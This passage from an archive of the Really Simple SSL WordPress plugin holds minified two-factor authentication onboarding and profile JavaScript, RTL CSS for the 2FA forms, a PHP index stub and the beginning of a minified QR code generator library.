e=this.getElement("totp-key").innerText;this.getElement("totp-key").innerText=this.translatableStrings.keyCopied,this.getElement("totp-key").style.color="green",setTimeout(()=>{this.getElement("totp-key").innerText=e,this.getElement("totp-key").style.color=""},2e3)},function(e){console.error(this.settings.translatables.keyCopiedFailed,e)})}}window.onload=function(){"undefined"!=typeof rsssl_onboard&&new Onboarding(rsssl_onboard.root,rsssl_onboard).init(),"undefined"!=typeof rsssl_profile&&new Profile(rsssl_profile.root,rsssl_profile).init()};class Onboarding extends BaseAuth{init(){let n=this,o=(["do_not_ask_again","skip_onboarding"].forEach(t=>{var e=this.getElement(t);null!==e&&e.addEventListener("click",e=>{e.preventDefault(),this.performFetchOp("/"+t,this.settings).then(e=>e.json()).then(e=>window.location.href=e.redirect_to).catch(this.logFetchError)})}),this.getElement("rsssl_continue_onboarding"));const s=e=>{e.preventDefault();var t,e=this.getCheckedInputValue("preferred_method");"email"===e?(t={provider:e,redirect_to:this.settings.redirect_to,user_id:this.settings.user_id,login_nonce:this.settings.login_nonce},this.performFetchOp("/save_default_method_email",t).then(e=>e.json()).then(t=>{this.getElement("rsssl_step_one_onboarding").style.display="none",document.getElementById("rsssl_step_three_onboarding").style.display="block",o.addEventListener("click",e=>r(e,t)),o.removeEventListener("click",s)}).catch(n.logFetchError)):"totp"===e&&(this.getElement("rsssl_step_one_onboarding").style.display="none",o.style.display="none",this.getElement("rsssl_step_two_onboarding").style.display="block")},r=async(e,t)=>{e.preventDefault();var e=this.getCheckedInputValue("preferred_method"),t="/"+t.validation_action,e={user_id:this.settings.user_id,login_nonce:this.settings.login_nonce,redirect_to:this.settings.redirect_to,token:document.getElementById("rsssl-authcode").value,provider:e};let n;try{n=await this.performFetchOp(t,e)}catch(e){console.log("Fetch Error: ",e)}n&&!n.ok&&(t=await n.json(),this.displayTwoFaOnboardingError(t.error)),n&&n.ok&&(e=await n.json(),window.location.href=e.redirect_to)};null!==o&&o.addEventListener("click",s);var e=this.getElement("two-factor-totp-submit"),e=(null!==e&&e.addEventListener("click",async e=>{e.preventDefault();var e=document.getElementById("two-factor-totp-authcode").value,t=this.settings.totp_data.key,e={"two-factor-totp-authcode":e,provider:this.getCheckedInputValue("preferred_method"),key:t,redirect_to:this.settings.redirect_to,user_id:this.settings.user_id,login_nonce:this.settings.login_nonce};try{var n,o,s=await this.performFetchOp("/save_default_method_totp",e);s.ok?(n=await s.json(),window.location.href=n.redirect_to):(o=await s.json(),this.displayTwoFaOnboardingError(o.error))}catch(e){this.logFetchError(e)}}),this.getElement("rsssl-two-factor-email-code-resend"));null!==e&&e.addEventListener("click",e=>{e.preventDefault();e={user_id:this.settings.user_id,login_nonce:this.settings.login_nonce,provider:"email"};this.performFetchOp("/resend_email_code",e).then(e=>e.json()).then(e=>{this.displayTwoFaOnboardingError(e.message)}).catch(this.logFetchError)}),this.getElement("download_codes").addEventListener("click",e=>{e.preventDefault(),this.download_codes()}),this.getElement("two-factor-qr-code").addEventListener("click",function(e){e.preventDefault(),n.copyTextAndShowMessage()}),this.getElement("totp-key").addEventListener("click",function(e){e.preventDefault(),n.copyTextAndShowMessage()}),document.readyState,this.qr_generator()}displayTwoFaOnboardingError(t){var n=document.getElementById("two_fa_onboarding_form");if(n){let e=document.getElementById("login-message");e||((e=document.createElement("div")).id="login-message",e.className="notice notice-error message",n.insertAdjacentElement("beforebegin",e)),e.innerHTML=`<p>${t}</p>`,setTimeout(()=>{e.remove()},5e3)}}}class Profile extends BaseAuth{init(){this.assignClickListener("download_codes",this.download_codes),this.assignClickListener("two-factor-qr-code",this.copyTextAndShowMessage),this.assignClickListener("totp-key",this.copyTextAndShowMessage);const n=this.getElement("qr-code-container");var e=this.getElement("two-factor-authentication");const o=this.getElement("selection_two_fa");var s=document.querySelectorAll('input[name="preferred_method"]');const r=document.getElementById("rsssl_verify_email");var t=this.getElement("change_2fa_config");let i=this;if(n&&(n.style.display="none",e.checked||(o.style.display="none",n.style.display="none")),e){let t=this;e.addEventListener("change",function(){var e;this.checked?(o.style.display="table-row",(e=document.querySelector('input[name="preferred_method"]:checked'))&&"totp"===e.value?(n.style.display="block",t.qr_generator()):n.style.display="none"):(o.style.display="none",n.style.display="none",document.querySelector('input[name="preferred_method"]:checked').value="none")})}if(0<s.length){let t=this;s.forEach(function(e){e.addEventListener("change",function(){var e=document.querySelector('input[name="preferred_method"]:checked').value;"totp"===e?(r&&(r.style.display="none"),n.style.display="block",t.qr_generator()):"email"===e?(n.style.display="none",r&&(r.style.display="table-row"),e={provider:e,user_id:rsssl_profile.user_id,login_nonce:document.getElementById("rsssl_two_fa_nonce").value,redirect_to:rsssl_profile.redirect_to,profile:!0},i.performFetchOp("/save_default_method_email_profile",e).then(e=>e.json()).catch(i.logFetchError)):n.style.display="none"})})}e=this.getElement("rsssl_resend_code");null!==e&&e.addEventListener("click",e=>{e.preventDefault();e={user_id:this.settings.user_id,login_nonce:document.getElementById("rsssl_two_fa_nonce").value,provider:"email",profile:!0};this.performFetchOp("/resend_email_code",e).then(e=>e.json()).then(e=>{let t=document.getElementById("login-message");var n=document.getElementById("rsssl-two-factor-email-code");n&&(t||((t=document.createElement("p")).classList.add("notice","notice-success"),n.insertAdjacentElement("afterend",t)),t.innerHTML=`<p>${e.message}</p>`,setTimeout(()=>{t.remove()},5e3))}).catch(this.logFetchError)}),t&&t.addEventListener("click",function(e){e.preventDefault();e=document.createElement("input");e.setAttribute("type","hidden"),e.setAttribute("name","change_2fa_config_field"),e.setAttribute("value","true"),document.getElementById("change_2fa_config").insertAdjacentElement("afterend",e);document.getElementById("two-factor-authentication").checked=!1;e=document.getElementById("your-profile");e&&e.requestSubmit()})}}really-simple-ssl/assets/two-fa/rtl/two-fa.css000064400000005325147510273070015344 0ustar00#two-factor-qr-code {
    display: flex;
 /* Enables Flexbox */
    justify-content: left;
 /* Centers horizontally */
    align-items: center;
 /* Centers vertically */
    width: 100%;
    min-height: 100%;
}

#qr-code-container {
    margin-bottom: 20px;
    position: relative;
    text-align: center;
}

#two-factor-totp-authcode {
    width: 100%;
}

tr.rsssl_verify_email {
    display: none;
}

.error {
    color: red;
    margin-top: -5px;
}

span.rsssl-backup-codes {
    padding: 5px;
    background: #fbebed;
    border-radius: 8px;
    box-shadow: rgba(0, 0, 0, 0.1) 0 4px 6px -1px;
}

.input {
    margin-bottom: 5px !important;
}

#totp-key {
    cursor: pointer;
    display: flex;
 /* Enables Flexbox */
    justify-content: center;
 /* Centers horizontally */
    align-items: center;
 /* Centers vertically */
}

table.rsssl-table-two-fa {
    padding-bottom: 20px;
}

.rsssl-methods-tag {
    padding: 2px 5px;
    border: 1px solid #000;
    color: #000;
    margin-left: 5px;
    background: dimgrey;
}

.rsssl-methods-tag.active {
    background: darkgreen;
    color: #fff;
}

/* Style radio inputs */
.radio-input {
    position: absolute;
    right: 0;
    margin-left: 10px;
 /* Adjust this value to your preferred spacing */
    vertical-align: middle;
    top: 5px;
}

/* Style radio labels */
.radio-label {
    display: inline-block;
    vertical-align: middle;
    width: 100%;
    position: relative;
    margin: 20px 0;
}

.badge {
    margin-left: 10px;
    padding: 2px 4px;
}

.badge-default {
    background-color: #e5e5e5;
    color: black;
}

.badge-enabled {
    background-color: #fbc43e;
    color: black;
}

/**
 * The following styles are for the onboarding form
 */
#two_fa_onboarding_form {
    margin-top: 20px;
}

#two_fa_onboarding_form div {
    transition: height 0.5s;
}

#skip_onboarding {
    margin-right: 20px;
}

.skip_container {
    display: flex;
    justify-content: space-between;
    align-items: center;
    margin-top: 10px;
}

.skip_container a {
    text-decoration: none;
}

.totp-submit {
    margin-top: 10px;
}

div.rsssl_step_one_onboarding {
    display: block;
}

div.rsssl_step_two_onboarding {
    display: none;
}

div.rsssl_step_three_onboarding {
    margin-top: 10px;
    display: none;
}

#two-factor-qr-code {
    display: flex;
 /* Enables Flexbox */
    justify-content: center;
 /* Centers horizontally */
    align-items: center;
 /* Centers vertically */
    min-width: 205px;
    min-height: 205px;
}

.error {
    color: red;
    margin-top: -5px;
}

.input {
    margin-bottom: 5px !important;
}

#totp-key {
    cursor: pointer;
    display: flex;
 /* Enables Flexbox */
    justify-content: center;
 /* Centers horizontally */
    align-items: center;
 /* Centers vertically */
}really-simple-ssl/assets/index.php000064400000000043147510273070013247 0ustar00<?php // You don't belong here. ?>
really-simple-ssl/assets/js/qrcode.min.js000064400000075636147510273070014464 0ustar00var qrcode=function(){var qrcode=function(typeNumber,errorCorrectionLevel){var PAD0=236;var PAD1=17;var _typeNumber=typeNumber;var _errorCorrectionLevel=QRErrorCorrectionLevel[errorCorrectionLevel];var _modules=null;var _moduleCount=0;var _dataCache=null;var _dataList=[];var _this={};var makeImpl=function(test,maskPattern){_moduleCount=_typeNumber*4+17;_modules=function(moduleCount){var modules=new Array(moduleCount);for(var row=0;row<moduleCount;row+=1){modules[row]=new Array(moduleCount);for(var col=0;col<moduleCount;col+=1){modules[row][col]=null}}return modules}(_moduleCount);setupPositionProbePattern(0,0);setupPositionProbePattern(_moduleCount-7,0);setupPositionProbePattern(0,_moduleCount-7);setupPositionAdjustPattern();setupTimingPattern();setupTypeInfo(test,maskPattern);if(_typeNumber>=7){setupTypeNumber(test)}if(_dataCache==null){_dataCache=createData(_typeNumber,_errorCorrectionLevel,_dataList)}mapData(_dataCache,maskPattern)};var setupPositionProbePattern=function(row,col){for(var r=-1;r<=7;r+=1){if(row+r<=-1||_moduleCount<=row+r)continue;for(var c=-1;c<=7;c+=1){if(col+c<=-1||_moduleCount<=col+c)continue;if(0<=r&&r<=6&&(c==0||c==6)||0<=c&&c<=6&&(r==0||r==6)||2<=r&&r<=4&&2<=c&&c<=4){_modules[row+r][col+c]=true}else{_modules[row+r][col+c]=false}}}};var getBestMaskPattern=function(){var minLostPoint=0;var pattern=0;for(var i=0;i<8;i+=1){makeImpl(true,i);var lostPoint=QRUtil.getLostPoint(_this);if(i==0||minLostPoint>lostPoint){minLostPoint=lostPoint;pattern=i}}return pattern};var setupTimingPattern=function(){for(var r=8;r<_moduleCount-8;r+=1){if(_modules[r][6]!=null){continue}_modules[r][6]=r%2==0}for(var c=8;c<_moduleCount-8;c+=1){if(_modules[6][c]!=null){continue}_modules[6][c]=c%2==0}};var setupPositionAdjustPattern=function(){var pos=QRUtil.getPatternPosition(_typeNumber);for(var i=0;i<pos.length;i+=1){for(var j=0;j<pos.length;j+=1){var row=pos[i];var col=pos[j];if(_modules[row][col]!=null){continue}for(var r=-2;r<=2;r+=1){for(var c=-2;c<=2;c+=1){if(r==-2||r==2||c==-2||c==2||r==0&&c==0){_modules[row+r][col+c]=true}else{_modules[row+r][col+c]=false}}}}}};var setupTypeNumber=function(test){var bits=QRUtil.getBCHTypeNumber(_typeNumber);for(var i=0;i<18;i+=1){var mod=!test&&(bits>>i&1)==1;_modules[Math.floor(i/3)][i%3+_moduleCount-8-3]=mod}for(var i=0;i<18;i+=1){var mod=!test&&(bits>>i&1)==1;_modules[i%3+_moduleCount-8-3][Math.floor(i/3)]=mod}};var setupTypeInfo=function(test,maskPattern){var data=_errorCorrectionLevel<<3|maskPattern;var bits=QRUtil.getBCHTypeInfo(data);for(var i=0;i<15;i+=1){var mod=!test&&(bits>>i&1)==1;if(i<6){_modules[i][8]=mod}else if(i<8){_modules[i+1][8]=mod}else{_modules[_moduleCount-15+i][8]=mod}}for(var i=0;i<15;i+=1){var mod=!test&&(bits>>i&1)==1;if(i<8){_modules[8][_moduleCount-i-1]=mod}else if(i<9){_modules[8][15-i-1+1]=mod}else{_modules[8][15-i-1]=mod}}_modules[_moduleCount-8][8]=!test};var mapData=function(data,maskPattern){var inc=-1;var row=_moduleCount-1;var bitIndex=7;var byteIndex=0;var maskFunc=QRUtil.getMaskFunction(maskPattern);for(var col=_moduleCount-1;col>0;col-=2){if(col==6)col-=1;while(true){for(var c=0;c<2;c+=1){if(_modules[row][col-c]==null){var dark=false;if(byteIndex<data.length){dark=(data[byteIndex]>>>bitIndex&1)==1}var mask=maskFunc(row,col-c);if(mask){dark=!dark}_modules[row][col-c]=dark;bitIndex-=1;if(bitIndex==-1){byteIndex+=1;bitIndex=7}}}row+=inc;if(row<0||_moduleCount<=row){row-=inc;inc=-inc;break}}}};var createBytes=function(buffer,rsBlocks){var offset=0;var maxDcCount=0;var maxEcCount=0;var dcdata=new Array(rsBlocks.length);var ecdata=new Array(rsBlocks.length);for(var r=0;r<rsBlocks.length;r+=1){var dcCount=rsBlocks[r].dataCount;var ecCount=rsBlocks[r].totalCount-dcCount;maxDcCount=Math.max(maxDcCount,dcCount);maxEcCount=Math.max(maxEcCount,ecCount);dcdata[r]=new Array(dcCount);for(var i=0;i<dcdata[r].length;i+=1){dcdata[r][i]=255&buffer.getBuffer()[i+offset]}offset+=dcCount;var rsPoly=QRUtil.getErrorCorrectPolynomial(ecCount);var rawPoly=qrPolynomial(dcdata[r],rsPoly.getLength()-1);var modPoly=rawPoly.mod(rsPoly);ecdata[r]=new Array(rsPoly.getLength()-1);for(var i=0;i<ecdata[r].length;i+=1){var modIndex=i+modPoly.getLength()-ecdata[r].length;ecdata[r][i]=modIndex>=0?modPoly.getAt(modIndex):0}}var totalCodeCount=0;for(var i=0;i<rsBlocks.length;i+=1){totalCodeCount+=rsBlocks[i].totalCount}var data=new Array(totalCodeCount);var index=0;for(var i=0;i<maxDcCount;i+=1){for(var r=0;r<rsBlocks.length;r+=1){if(i<dcdata[r].length){data[index]=dcdata[r][i];index+=1}}}for(var i=0;i<maxEcCount;i+=1){for(var r=0;r<rsBlocks.length;r+=1){if(i<ecdata[r].length){data[index]=ecdata[r][i];index+=1}}}return data};var createData=function(typeNumber,errorCorrectionLevel,dataList){var rsBlocks=QRRSBlock.getRSBlocks(typeNumber,errorCorrectionLevel);var buffer=qrBitBuffer();for(var i=0;i<dataList.length;i+=1){var data=dataList[i];buffer.put(data.getMode(),4);buffer.put(data.getLength(),QRUtil.getLengthInBits(data.getMode(),typeNumber));data.write(buffer)}var totalDataCount=0;for(var i=0;i<rsBlocks.length;i+=1){totalDataCount+=rsBlocks[i].dataCount}if(buffer.getLengthInBits()>totalDataCount*8){throw"code length overflow. ("+buffer.getLengthInBits()+">"+totalDataCount*8+")"}if(buffer.getLengthInBits()+4<=totalDataCount*8){buffer.put(0,4)}while(buffer.getLengthInBits()%8!=0){buffer.putBit(false)}while(true){if(buffer.getLengthInBits()>=totalDataCount*8){break}buffer.put(PAD0,8);if(buffer.getLengthInBits()>=totalDataCount*8){break}buffer.put(PAD1,8)}return createBytes(buffer,rsBlocks)};_this.addData=function(data,mode){mode=mode||"Byte";var newData=null;switch(mode){case"Numeric":newData=qrNumber(data);break;case"Alphanumeric":newData=qrAlphaNum(data);break;case"Byte":newData=qr8BitByte(data);break;case"Kanji":newData=qrKanji(data);break;default:throw"mode:"+mode}_dataList.push(newData);_dataCache=null};_this.isDark=function(row,col){if(row<0||_moduleCount<=row||col<0||_moduleCount<=col){throw row+","+col}return _modules[row][col]};_this.getModuleCount=function(){return _moduleCount};_this.make=function(){if(_typeNumber<1){var typeNumber=1;for(;typeNumber<40;typeNumber++){var rsBlocks=QRRSBlock.getRSBlocks(typeNumber,_errorCorrectionLevel);var buffer=qrBitBuffer();for(var i=0;i<_dataList.length;i++){var data=_dataList[i];buffer.put(data.getMode(),4);buffer.put(data.getLength(),QRUtil.getLengthInBits(data.getMode(),typeNumber));data.write(buffer)}var totalDataCount=0;for(var i=0;i<rsBlocks.length;i++){totalDataCount+=rsBlocks[i].dataCount}if(buffer.getLengthInBits()<=totalDataCount*8){break}}_typeNumber=typeNumber}makeImpl(false,getBestMaskPattern())};_this.createTableTag=function(cellSize,margin){cellSize=cellSize||2;margin=typeof margin=="undefined"?cellSize*4:margin;var qrHtml="";qrHtml+='<table style="';qrHtml+=" border-width: 0px; border-style: none;";qrHtml+=" border-collapse: collapse;";qrHtml+=" padding: 0px; margin: "+margin+"px;";qrHtml+='">';qrHtml+="<tbody>";for(var r=0;r<_this.getModuleCount();r+=1){qrHtml+="<tr>";for(var c=0;c<_this.getModuleCount();c+=1){qrHtml+='<td style="';qrHtml+=" border-width: 0px; border-style: none;";qrHtml+=" border-collapse: collapse;";qrHtml+=" padding: 0px; margin: 0px;";qrHtml+=" width: "+cellSize+"px;";qrHtml+=" height: "+cellSize+"px;";qrHtml+=" background-color: ";qrHtml+=_this.isDark(r,c)?"#000000":"#ffffff";qrHtml+=";";qrHtml+='"/>'}qrHtml+="</tr>"}qrHtml+="</tbody>";qrHtml+="</table>";return qrHtml};_this.createSvgTag=function(cellSize,margin,alt,title){var opts={};if(typeof arguments[0]=="object"){opts=arguments[0];cellSize=opts.cellSize;margin=opts.margin;alt=opts.alt;title=opts.title}cellSize=cellSize||2;margin=typeof margin=="undefined"?cellSize*4:margin;alt=typeof alt==="string"?{text:alt}:alt||{};alt.text=alt.text||null;alt.id=alt.text?alt.id||"qrcode-description":null;title=typeof title==="string"?{text:title}:title||{};title.text=title.text||null;title.id=title.text?title.id||"qrcode-title":null;var size=_this.getModuleCount()*cellSize+margin*2;var c,mc,r,mr,qrSvg="",rect;rect="l"+cellSize+",0 0,"+cellSize+" -"+cellSize+",0 0,-"+cellSize+"z ";qrSvg+='<svg version="1.1" xmlns="http://www.w3.org/2000/svg"';qrSvg+=!opts.scalable?' width="'+size+'px" height="'+size+'px"':"";qrSvg+=' viewBox="0 0 '+size+" "+size+'" ';qrSvg+=' preserveAspectRatio="xMinYMin meet"';qrSvg+=title.text||alt.text?' role="img" aria-labelledby="'+escapeXml([title.id,alt.id].join(" ").trim())+'"':"";qrSvg+=">";qrSvg+=title.text?'<title id="'+escapeXml(title.id)+'">'+escapeXml(title.text)+"</title>":"";qrSvg+=alt.text?'<description id="'+escapeXml(alt.id)+'">'+escapeXml(alt.text)+"</description>":"";qrSvg+='<rect width="100%" height="100%" fill="white" cx="0" cy="0"/>';qrSvg+='<path d="';for(r=0;r<_this.getModuleCount();r+=1){mr=r*cellSize+margin;for(c=0;c<_this.getModuleCount();c+=1){if(_this.isDark(r,c)){mc=c*cellSize+margin;qrSvg+="M"+mc+","+mr+rect}}}qrSvg+='" stroke="transparent" fill="black"/>';qrSvg+="</svg>";return qrSvg};_this.createDataURL=function(cellSize,margin){cellSize=cellSize||2;margin=typeof margin=="undefined"?cellSize*4:margin;var size=_this.getModuleCount()*cellSize+margin*2;var min=margin;var max=size-margin;return createDataURL(size,size,function(x,y){if(min<=x&&x<max&&min<=y&&y<max){var c=Math.floor((x-min)/cellSize);var r=Math.floor((y-min)/cellSize);return _this.isDark(r,c)?0:1}else{return 1}})};_this.createImgTag=function(cellSize,margin,alt){cellSize=cellSize||2;margin=typeof margin=="undefined"?cellSize*4:margin;var size=_this.getModuleCount()*cellSize+margin*2;var img="";img+="<img";img+=' src="';img+=_this.createDataURL(cellSize,margin);img+='"';img+=' width="';img+=size;img+='"';img+=' height="';img+=size;img+='"';if(alt){img+=' alt="';img+=escapeXml(alt);img+='"'}img+="/>";return img};var escapeXml=function(s){var escaped="";for(var i=0;i<s.length;i+=1){var c=s.charAt(i);switch(c){case"<":escaped+="&lt;";break;case">":escaped+="&gt;";break;case"&":escaped+="&amp;";break;case'"':escaped+="&quot;";break;default:escaped+=c;break}}return escaped};var _createHalfASCII=function(margin){var cellSize=1;margin=typeof margin=="undefined"?cellSize*2:margin;var size=_this.getModuleCount()*cellSize+margin*2;var min=margin;var max=size-margin;var y,x,r1,r2,p;var blocks={"██":"█","█ ":"▀"," █":"▄","  ":" "};var blocksLastLineNoMargin={"██":"▀","█ ":"▀"," █":" ","  ":" "};var ascii="";for(y=0;y<size;y+=2){r1=Math.floor((y-min)/cellSize);r2=Math.floor((y+1-min)/cellSize);for(x=0;x<size;x+=1){p="█";if(min<=x&&x<max&&min<=y&&y<max&&_this.isDark(r1,Math.floor((x-min)/cellSize))){p=" "}if(min<=x&&x<max&&min<=y+1&&y+1<max&&_this.isDark(r2,Math.floor((x-min)/cellSize))){p+=" "}else{p+="█"}ascii+=margin<1&&y+1>=max?blocksLastLineNoMargin[p]:blocks[p]}ascii+="\n"}if(size%2&&margin>0){return ascii.substring(0,ascii.length-size-1)+Array(size+1).join("▀")}return ascii.substring(0,ascii.length-1)};_this.createASCII=function(cellSize,margin){cellSize=cellSize||1;if(cellSize<2){return _createHalfASCII(margin)}cellSize-=1;margin=typeof margin=="undefined"?cellSize*2:margin;var size=_this.getModuleCount()*cellSize+margin*2;var min=margin;var max=size-margin;var y,x,r,p;var white=Array(cellSize+1).join("██");var black=Array(cellSize+1).join("  ");var ascii="";var line="";for(y=0;y<size;y+=1){r=Math.floor((y-min)/cellSize);line="";for(x=0;x<size;x+=1){p=1;if(min<=x&&x<max&&min<=y&&y<max&&_this.isDark(r,Math.floor((x-min)/cellSize))){p=0}line+=p?white:black}for(r=0;r<cellSize;r+=1){ascii+=line+"\n"}}return ascii.substring(0,ascii.length-1)};_this.renderTo2dContext=function(context,cellSize){cellSize=cellSize||2;var length=_this.getModuleCount();for(var row=0;row<length;row++){for(var col=0;col<length;col++){context.fillStyle=_this.isDark(row,col)?"black":"white";context.fillRect(row*cellSize,col*cellSize,cellSize,cellSize)}}};return _this};qrcode.stringToBytesFuncs={default:function(s){var bytes=[];for(var i=0;i<s.length;i+=1){var c=s.charCodeAt(i);bytes.push(c&255)}return bytes}};qrcode.stringToBytes=qrcode.stringToBytesFuncs["default"];qrcode.createStringToBytes=function(unicodeData,numChars){var unicodeMap=function(){var bin=base64DecodeInputStream(unicodeData);var read=function(){var b=bin.read();if(b==-1)throw"eof";return b};var count=0;var unicodeMap={};while(true){var b0=bin.read();if(b0==-1)break;var b1=read();var b2=read();var b3=read();var k=String.fromCharCode(b0<<8|b1);var v=b2<<8|b3;unicodeMap[k]=v;count+=1}if(count!=numChars){throw count+" != "+numChars}return unicodeMap}();var unknownChar="?".charCodeAt(0);return function(s){var bytes=[];for(var i=0;i<s.length;i+=1){var c=s.charCodeAt(i);if(c<128){bytes.push(c)}else{var b=unicodeMap[s.charAt(i)];if(typeof b=="number"){if((b&255)==b){bytes.push(b)}else{bytes.push(b>>>8);bytes.push(b&255)}}else{bytes.push(unknownChar)}}}return bytes}};var QRMode={MODE_NUMBER:1<<0,MODE_ALPHA_NUM:1<<1,MODE_8BIT_BYTE:1<<2,MODE_KANJI:1<<3};var QRErrorCorrectionLevel={L:1,M:0,Q:3,H:2};var QRMaskPattern={PATTERN000:0,PATTERN001:1,PATTERN010:2,PATTERN011:3,PATTERN100:4,PATTERN101:5,PATTERN110:6,PATTERN111:7};var QRUtil=function(){var PATTERN_POSITION_TABLE=[[],[6,18],[6,22],[6,26],[6,30],[6,34],[6,22,38],[6,24,42],[6,26,46],[6,28,50],[6,30,54],[6,32,58],[6,34,62],[6,26,46,66],[6,26,48,70],[6,26,50,74],[6,30,54,78],[6,30,56,82],[6,30,58,86],[6,34,62,90],[6,28,50,72,94],[6,26,50,74,98],[6,30,54,78,102],[6,28,54,80,106],[6,32,58,84,110],[6,30,58,86,114],[6,34,62,90,118],[6,26,50,74,98,122],[6,30,54,78,102,126],[6,26,52,78,104,130],[6,30,56,82,108,134],[6,34,60,86,112,138],[6,30,58,86,114,142],[6,34,62,90,118,146],[6,30,54,78,102,126,150],[6,24,50,76,102,128,154],[6,28,54,80,106,132,158],[6,32,58,84,110,136,162],[6,26,54,82,110,138,166],[6,30,58,86,114,142,170]];var G15=1<<10|1<<8|1<<5|1<<4|1<<2|1<<1|1<<0;var G18=1<<12|1<<11|1<<10|1<<9|1<<8|1<<5|1<<2|1<<0;var G15_MASK=1<<14|1<<12|1<<10|1<<4|1<<1;var _this={};var getBCHDigit=function(data){var digit=0;while(data!=0){digit+=1;data>>>=1}return digit};_this.getBCHTypeInfo=function(data){var d=data<<10;while(getBCHDigit(d)-getBCHDigit(G15)>=0){d^=G15<<getBCHDigit(d)-getBCHDigit(G15)}return(data<<10|d)^G15_MASK};_this.getBCHTypeNumber=function(data){var d=data<<12;while(getBCHDigit(d)-getBCHDigit(G18)>=0){d^=G18<<getBCHDigit(d)-getBCHDigit(G18)}return data<<12|d};_this.getPatternPosition=function(typeNumber){return PATTERN_POSITION_TABLE[typeNumber-1]};_this.getMaskFunction=function(maskPattern){switch(maskPattern){case QRMaskPattern.PATTERN000:return function(i,j){return(i+j)%2==0};case QRMaskPattern.PATTERN001:return function(i,j){return i%2==0};case QRMaskPattern.PATTERN010:return function(i,j){return j%3==0};case QRMaskPattern.PATTERN011:return function(i,j){return(i+j)%3==0};case QRMaskPattern.PATTERN100:return function(i,j){return(Math.floor(i/2)+Math.floor(j/3))%2==0};case QRMaskPattern.PATTERN101:return function(i,j){return i*j%2+i*j%3==0};case QRMaskPattern.PATTERN110:return function(i,j){return(i*j%2+i*j%3)%2==0};case QRMaskPattern.PATTERN111:return function(i,j){return(i*j%3+(i+j)%2)%2==0};default:throw"bad maskPattern:"+maskPattern}};_this.getErrorCorrectPolynomial=function(errorCorrectLength){var a=qrPolynomial([1],0);for(var i=0;i<errorCorrectLength;i+=1){a=a.multiply(qrPolynomial([1,QRMath.gexp(i)],0))}return a};_this.getLengthInBits=function(mode,type){if(1<=type&&type<10){switch(mode){case QRMode.MODE_NUMBER:return 10;case QRMode.MODE_ALPHA_NUM:return 9;case QRMode.MODE_8BIT_BYTE:return 8;case QRMode.MODE_KANJI:return 8;default:throw"mode:"+mode}}else if(type<27){switch(mode){case QRMode.MODE_NUMBER:return 12;case QRMode.MODE_ALPHA_NUM:return 11;case QRMode.MODE_8BIT_BYTE:return 16;case QRMode.MODE_KANJI:return 10;default:throw"mode:"+mode}}else if(type<41){switch(mode){case QRMode.MODE_NUMBER:return 14;case QRMode.MODE_ALPHA_NUM:return 13;case QRMode.MODE_8BIT_BYTE:return 16;case QRMode.MODE_KANJI:return 12;default:throw"mode:"+mode}}else{throw"type:"+type}};_this.getLostPoint=function(qrcode){var moduleCount=qrcode.getModuleCount();var lostPoint=0;for(var row=0;row<moduleCount;row+=1){for(var col=0;col<moduleCount;col+=1){var sameCount=0;var dark=qrcode.isDark(row,col);for(var r=-1;r<=1;r+=1){if(row+r<0||moduleCount<=row+r){continue}for(var c=-1;c<=1;c+=1){if(col+c<0||moduleCount<=col+c){continue}if(r==0&&c==0){continue}if(dark==qrcode.isDark(row+r,col+c)){sameCount+=1}}}if(sameCount>5){lostPoint+=3+sameCount-5}}}for(var row=0;row<moduleCount-1;row+=1){for(var col=0;col<moduleCount-1;col+=1){var count=0;if(qrcode.isDark(row,col))count+=1;if(qrcode.isDark(row+1,col))count+=1;if(qrcode.isDark(row,col+1))count+=1;if(qrcode.isDark(row+1,col+1))count+=1;if(count==0||count==4){lostPoint+=3}}}for(var row=0;row<moduleCount;row+=1){for(var col=0;col<moduleCount-6;col+=1){if(qrcode.isDark(row,col)&&!qrcode.isDark(row,col+1)&&qrcode.isDark(row,col+2)&&qrcode.isDark(row,col+3)&&qrcode.isDark(row,col+4)&&!qrcode.isDark(row,col+5)&&qrcode.isDark(row,col+6)){lostPoint+=40}}}for(var col=0;col<moduleCount;col+=1){for(var row=0;row<moduleCount-6;row+=1){if(qrcode.isDark(row,col)&&!qrcode.isDark(row+1,col)&&qrcode.isDark(row+2,col)&&qrcode.isDark(row+3,col)&&qrcode.isDark(row+4,col)&&!qrcode.isDark(row+5,col)&&qrcode.isDark(row+6,col)){lostPoint+=40}}}var darkCount=0;for(var col=0;col<moduleCount;col+=1){for(var row=0;row<moduleCount;row+=1){if(qrcode.isDark(row,col)){darkCount+=1}}}var ratio=Math.abs(100*darkCount/moduleCount/moduleCount-50)/5;lostPoint+=ratio*10;return lostPoint};return _this}();var QRMath=function(){var EXP_TABLE=new Array(256);var LOG_TABLE=new Array(256);for(var i=0;i<8;i+=1){EXP_TABLE[i]=1<<i}for(var i=8;i<256;i+=1){EXP_TABLE[i]=EXP_TABLE[i-4]^EXP_TABLE[i-5]^EXP_TABLE[i-6]^EXP_TABLE[i-8]}for(var i=0;i<255;i+=1){LOG_TABLE[EXP_TABLE[i]]=i}var _this={};_this.glog=function(n){if(n<1){throw"glog("+n+")"}return LOG_TABLE[n]};_this.gexp=function(n){while(n<0){n+=255}while(n>=256){n-=255}return EXP_TABLE[n]};return _this}();function qrPolynomial(num,shift){if(typeof num.length=="undefined"){throw num.length+"/"+shift}var _num=function(){var offset=0;while(offset<num.length&&num[offset]==0){offset+=1}var _num=new Array(num.length-offset+shift);for(var i=0;i<num.length-offset;i+=1){_num[i]=num[i+offset]}return _num}();var _this={};_this.getAt=function(index){return _num[index]};_this.getLength=function(){return _num.length};_this.multiply=function(e){var num=new Array(_this.getLength()+e.getLength()-1);for(var i=0;i<_this.getLength();i+=1){for(var j=0;j<e.getLength();j+=1){num[i+j]^=QRMath.gexp(QRMath.glog(_this.getAt(i))+QRMath.glog(e.getAt(j)))}}return qrPolynomial(num,0)};_this.mod=function(e){if(_this.getLength()-e.getLength()<0){return _this}var ratio=QRMath.glog(_this.getAt(0))-QRMath.glog(e.getAt(0));var num=new Array(_this.getLength());for(var i=0;i<_this.getLength();i+=1){num[i]=_this.getAt(i)}for(var i=0;i<e.getLength();i+=1){num[i]^=QRMath.gexp(QRMath.glog(e.getAt(i))+ratio)}return qrPolynomial(num,0).mod(e)};return _this}var QRRSBlock=function(){var 